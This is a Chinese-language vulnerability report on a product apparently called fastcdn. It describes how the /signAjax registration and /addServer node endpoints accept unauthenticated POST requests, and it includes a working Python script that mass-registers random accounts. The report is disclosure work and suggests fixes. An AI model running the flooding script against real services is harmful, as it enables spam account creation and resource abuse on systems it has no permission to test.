夏柔昨天简单测试了一下,发现可使用任意客户端发起post请求并成功存储到数据库的接口,属于中危漏洞;
第一个:注册接口
-
本文主题: 注册账号接口缺乏身份验证机制导致未经授权访问,任意客户端可发起POST请求
- 问题描述: 在注册接口中发现了一个缺乏身份验证的漏洞,该接口允许未经身份验证的用户注册新账户,从而导致未经授权的访问和潜在的安全问题。
-
复现步骤:
- 使用任意 HTTP 客户端向注册接口发送 POST 请求,
- URL事件:/signAjax
- 在请求中包含以下数据:
- __RequestVerificationToken: 貌似是用于身份验证,但该功能并未生效
- user: 用户名
- password: 密码
- rememberMe: true
经测试,__RequestVerificationToken无需传值,直接传参 user password 即可存储用户数据
- 影响范围:
此漏洞可能影响所有尝试注册新账户的用户,以及系统可能面临的安全风险。
-
解决方案:
强烈建议在注册接口中实施适当的身份验证机制,例如验证码进行人机身份验证,以防止未经授权的访问!
第二个:添加节点
-
本文主题: 添加节点接口缺乏身份验证机制导致未经授权访问,任意客户端可发起POST请求
- 问题描述: 在添加节点接口发现了一个缺乏身份验证的漏洞,该接口允许未经身份验证的用户进行添加节点,从而导致未经授权的访问和潜在的安全问题。
复现步骤: - 使用任意 HTTP 客户端向注册接口发送 POST 请求,
- URL事件:/addServer
- 在请求中包含以下数据:
- ip: 随机生成ip
- name: 用户名
- key: 秘钥
- status: on
经测试,直接传参 user password 即可存储添加节点
- 影响范围:
此漏洞可能影响系统被恶意刷数据,以及系统可能面临的安全风险。
- 问题描述: 在添加节点接口发现了一个缺乏身份验证的漏洞,该接口允许未经身份验证的用户进行添加节点,从而导致未经授权的访问和潜在的安全问题。
-
解决方案:
强烈建议在添加节点接口中实施适当的身份验证机制,例如Oauth,以防止未经授权的访问!
第一个刷注册的Python脚本例子(严禁违法用途,仅供测试):
import requests
import random
import json
import string
# 你的fastcdn地址
url = "http://127.0.0.1:5380/signAjax"
# 配置循环次数和运行总次数
loop_count = 10
total_runs = 100
# 随机生成用户和密码
def generate_random_string(length=8):
letters_and_digits = string.ascii_letters + string.digits
return ''.join(random.choice(letters_and_digits) for i in range(length))
# 发送请求
def send_request():
# 随机生成用户和密码
user = generate_random_string()
password = generate_random_string()
# 请求参数
payload = {
"__RequestVerificationToken": "",
"user": user,
"password": password,
"rememberMe": "true"
}
# 发送POST请求
response = requests.post(url, data=payload)
# 处理响应
if response.status_code == 200:
data = response.json()
if data["code"] == 1:
write_to_file("success", user, password)
else:
write_to_file("error", user, password)
else:
write_to_file("error", user, password)
# 写入到文件
def write_to_file(result, user, password):
with open(f"{result}.txt", "a") as file:
file.write(f"User: {user}, Password: {password}\n")
# 执行循环
for i in range(total_runs):
send_request()
if (i + 1) % loop_count == 0:
print(f"已循环 {i + 1} 次")
print("循环结束")